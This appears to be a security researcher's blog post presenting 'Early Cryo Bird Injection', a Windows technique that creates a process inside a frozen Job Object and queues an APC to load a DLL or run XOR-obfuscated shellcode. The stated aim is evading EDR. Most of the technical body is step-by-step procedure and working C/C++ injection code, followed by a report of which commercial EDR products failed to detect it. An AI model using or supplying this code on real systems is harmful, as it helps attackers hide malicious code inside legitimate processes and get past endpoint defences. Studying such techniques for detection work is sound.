- Introduction
- Theoretical Foundations
- Early Cryo Bird Injection via Pre-Frozen Process in a Job Object
- Detection & EDR Evaluation
- Conclusion
- References
After my initial work with Windows Job Objects and the possibility of freezing a process in an alternative way, I wrote a new paper to explore these topics in more depth and have summarized them here. It’s quite a lot of content, and I initially planned to build a multi-part series but then I decided to compile everything into one single paper and just publish it.
Process Injection is a widely used technique to execute malicious code within the context of a legitimate process without being detected. Common methods such as Early Bird Injection, APC Injection, or Thread Hijacking are frequently employed, but are increasingly detected and blocked by modern security mechanisms.
This paper introduces an additional technique called "Early Cryo Bird Injections" plural, because it includes not only shellcode injection, but also DLL injection. This method leverages an undocumented Windows function based on Windows Job Objects, which allows a process to be frozen without requiring suspicious flags like CREATE_SUSPENDED or DEBUG_PROCESS. The goal was to bypass Endpoint Detection and Response (EDR) solutions. The approach combines process freezing ("Cryo") via Job Objects, which create the process already in a frozen state and uses Asynchronous Procedure Calls (APC), in order to discreetly inject malicious code or load a DLL into the target process.
During the development phase, it became clear that Cortex, using a YARA rule, monitors memory page transitions from RW (Read-Write) to RX (Read-Execute). Despite multiple attempts to bypass this detection using different memory protection strategies (Code Caves), the approach remained detectable. As a result, I decided to additionally implement DLL injection via APC into the frozen process.
In the second part of my series, I will present further findings and dive deeper into the technical details of this method.
Windows Job Objects are specialized kernel-level constructs that allow multiple processes to be grouped together and managed as a single unit. This capability is particularly useful in scenarios where:
- All child processes of a tool (e.g., during a build process) need to be started, constrained, or terminated collectively.
- A server process must impose resource limits on requests from individual clients.
- Processes are to be executed within a controlled, sandbox-like environment.
💡 Note: By default, Windows does not maintain a strict parent-child relationship between processes, a child process can continue executing even if its parent terminates. Job Objects effectively address this limitation by enforcing group-based process control.
An APC (Asynchronous Procedure Call) is a function that is executed asynchronously in the context of a specific thread. When an APC is added to a thread, the system triggers a software interrupt, which executes the APC function during the next scheduling of that thread. For this to work, the thread must be in a so-called "alertable state," which can be achieved through API calls such as SleepEx
or WaitForSingleObjectEx
. One could say that APCs are the "Post-It notes" of the operating system, reminding threads: "Hey, don't forget to execute this!"
The Windows API function QueueUserAPC
allows adding a user-mode APC to the queue of a thread:
DWORD QueueUserAPC(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);
Early Bird Injection creates processes in a suspended state using flags such as CREATE_SUSPENDED
or DEBUG_PROCESS
, allowing preparation of the target process before it starts running. However, it has become well-known to many EDR solutions and is now considered an "old hat."
The presented technique introduces a DLL injection that leverages undocumented Windows internals, specifically the freezing capabilities of Windows Job Objects via the NtSetInformationJobObject
API in combination with the JOBOBJECT_FREEZE_INFORMATION
structure. In contrast to conventional injection strategies that rely on CREATE_SUSPENDED
or DEBUG_PROCESS
flags, often flagged by Endpoint Detection and Response (EDR) systems. This method enables control of process execution through job-level manipulation.
By creating a target process directly within a pre-frozen Job Object, memory operations such as allocation and writing of a DLL path can be performed while the process remains inactive, thus minimizing detectable behavioral anomalies. The DLL is subsequently loaded via a queued Asynchronous Procedure Call (APC) targeting the LoadLibraryA
function. Once the process is "thawed" by resetting the freeze state, the APC is executed, and the DLL is injected and initialized within the target context.
- Utilizes native NT system calls, bypassing higher-level, monitored API layers
- Eliminates the need for classical suspension flags, reducing visibility to EDR solutions
- Offers precise execution control through Job-based process freezing and thawing
- Supports both DLL and shellcode injection payloads
A new, empty Job Object is created using CreateJobObjectW
. This object acts as a container for the target process and allows fine-grained control over its execution.
The job is configured via NtSetInformationJobObject
with JOBOBJECT_FREEZE_INFORMATION
, which sets the Freeze
flag to TRUE
.
The STARTUPINFOEXW
structure is prepared, and an attribute list (PROC_THREAD_ATTRIBUTE_LIST
) is allocated to support extended process creation attributes.
The Job Object is linked to the attribute list using UpdateProcThreadAttribute
. This ensures that any process created with this attribute list is automatically assigned to the Job upon creation.
The target process (e.g., dllhost.exe
) is created using CreateProcessW
with the EXTENDED_STARTUPINFO_PRESENT
flag. It starts inside the job in a frozen state.
Memory is allocated using NtAllocateVirtualMemoryEx
for storing the DLL path.
The path to the DLL is written to the allocated region via NtWriteVirtualMemory
.
An APC is queued in the primary thread using NtQueueApcThread
. The callback is LoadLibraryW
, and the DLL path is passed as an argument.
Using NtSetInformationJobObject
, the freeze is lifted (Freeze = FALSE
).
Once the process enters an alertable state, the APC is executed, resulting in DLL injection and execution.
NTSTATUS creationJob = NtCreateJobObject(&hJob, STANDARD_RIGHTS_ALL | 63, NULL);
if (!NT_SUCCESS(creationJob)) {
SetColor(FOREGROUND_RED);
printf("Error: 0x%X\n", creationJob);
CloseHandle(hJob);
return -1;
}
JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 };
freezeInfo.FreezeOperation = 1; // Initiate freeze
freezeInfo.Freeze = TRUE;
NTSTATUS freezeStatus = NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));
if (!NT_SUCCESS(freezeStatus)) {
SetColor(FOREGROUND_RED);
printf("Error: 0x%X\n", freezeStatus);
CloseHandle(hJob);
return -1;
}
// Create process in the job (e.g. dllhost.exe)
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessW(
L"C:\\Windows\\System32\\dllhost.exe",
NULL,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
&siEx.StartupInfo,
&pi))
{
std::cerr << "CreateProcessW failed: " << GetLastError() << std::endl;
DeleteProcThreadAttributeList(siEx.lpAttributeList);
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
CloseHandle(hJob);
return -1;
}
std::cout << "[+] Started Process in Job! PID: " << pi.dwProcessId << std::endl;
// Release attribute list
DeleteProcThreadAttributeList(siEx.lpAttributeList);
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
if (hKernel32 == NULL) {
SetColor(FOREGROUND_RED);
printf("[-] Error retrieving Kernel32-Module\n");
CloseHandle(hJob);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return -1;
}
FARPROC loadLibAddr = GetProcAddress(hKernel32, pAddress);
if (!loadLibAddr) {
printf("Error retrieving the address of LoadLibraryW.\n");
CloseHandle(hJob);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return -1;
}
if (!NT_SUCCESS(NtQueueApcThread(pi.hThread, (PVOID)loadLibAddr, remoteMemory, NULL, NULL))) {
printf("NtQueueApcThread failed...\n");
CloseHandle(hJob);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return -1;
}
SetColor(FOREGROUND_INTENSITY);
printf("[+] APC has been successfully installed. The DLL is loaded during defrosting.\n");
freezeInfo.FreezeOperation = 1; // Unfreeze operation
freezeInfo.Freeze = FALSE;
NTSTATUS unfreezeStatus = NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));
if (!NT_SUCCESS(unfreezeStatus)) {
SetColor(FOREGROUND_RED);
printf("Error: 0x%X\n", unfreezeStatus);
CloseHandle(hJob);
return -1;
}
As previously mentioned, APCs can also be used for shellcode injection. In my implementation, the process closely mirrors that of a conventional injection. The first six steps are identical to those in the DLL injection variant, the only difference is that instead of writing a DLL path into a memory page, shellcode is written -> in my case, XOR-obfuscated shellcode.
Afterwards, the memory page’s protection is changed to RX (read/execute) to grant execution rights before queuing it as an APC. Interestingly, because the process is frozen when the APC is queued, the shellcode is only executed once the process is thawed and the APCs are processed. There are several ways to leverage APCs at the native level; for example, NtQueueApcThreadEx even allows an APC to be executed on a thread that is normally non-alterable.
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)hVirtualAlloc;
NTSTATUS statusAPC = NtQueueApcThread(pi.hThread, (PVOID)apcRoutine, NULL, NULL, NULL);
if (!NT_SUCCESS(statusAPC)) {
SetColor(FOREGROUND_RED);
printf("\t[!] NtQueueApcThread Failed With Error : 0x%X \n", statusAPC);
return FALSE;
}
else {
SetColor(FOREGROUND_GREEN);
printf("[+] NtQueueApcThread successfully queued APC\n");
}
Now we’re getting to the part that most people are probably interested in: Early Cryo technique versus various EDRs. Before diving in, I’d like to point out that both the DLL and shellcode injection variants dynamically resolve Windows APIs, make use of native NT functions, and specifically in the shellcode variant leverage a XOR-obfuscated payload. I’ll keep this section brief, as a deep technical breakdown would go beyond the scope of this summary.
I tested both techniques against three different EDR solutions:
- Microsoft Defender ATP
- Cortex XDR
- Trend Vision One
Surprisingly, Defender ATP did not trigger any alerts during testing. While it did observe certain memory-related activities during the shellcode injection (e.g., memory allocation), it didn’t classify them as suspicious. The DLL injection, on the other hand, appeared completely normal to Defender— no anomalies, no incidents.
It's worth noting that an incident can occur if you use processes like dllhost.exe
to spawn cmd.exe
and execute commands such as whoami
, depending on the behavior and context.
Overall, Defender seems largely unaffected and captures very little in this scenario.
Cortex performed significantly better in comparison. In most cases, it triggered at least one incident and actively blocked the malware, particularly in the shellcode injection scenario. The DLL injection was the only method that, under certain conditions, managed to slip through. That’s also the reason the DLL injection variant was developed in combination with the freeze-and-thaw technique.
Cortex's behavioral detection is very solid. With enough experimentation and evasion techniques, it might be possible to bypass it, but that would require more effort. While the DLL injection caused only a single detection, the shellcode variant led to multiple alerts.
Shellcode Injection
Trend Vision One behaved similarly to Defender ATP no detections were triggered for either injection method. Both techniques went completely unnoticed.
I know many of you might say, "Wow, he’s just using a few things differently." But that’s the beauty of it, right? There’s still so much that can be combined and developed into new techniques, isn’t there? I mean, there’s even another native function that allows direct execution of an APC on a non-alertable thread!
In the end, the goal was to dive deeper into APC as part of the learning process and see what works and what doesn’t. I hope I was able to spark some thoughts or ideas among some of you.
I’m now moving on to the third project of the trilogy, where I will continue to explore Job Freeze/Thaw mechanisms to create some cool stuff. Just a little hint: They exist in the anime series Bleach (Hollows).
[1] https://learn.microsoft.com/
[3] https://github.com/winsiderss/systeminformer
[4] https://github.com/3gstudent/
[5] https://maldevacademy.com/
[6] Programming Windows - Charles Petzold
[7] Windows via C/C++, Fifth Edition - Jeffrey Richter and Christophe Nasarre
[8] https://scorpiosoftware.net/2024/07/24/what-can-you-do-with-apcs/ (Pavel Yosifovich)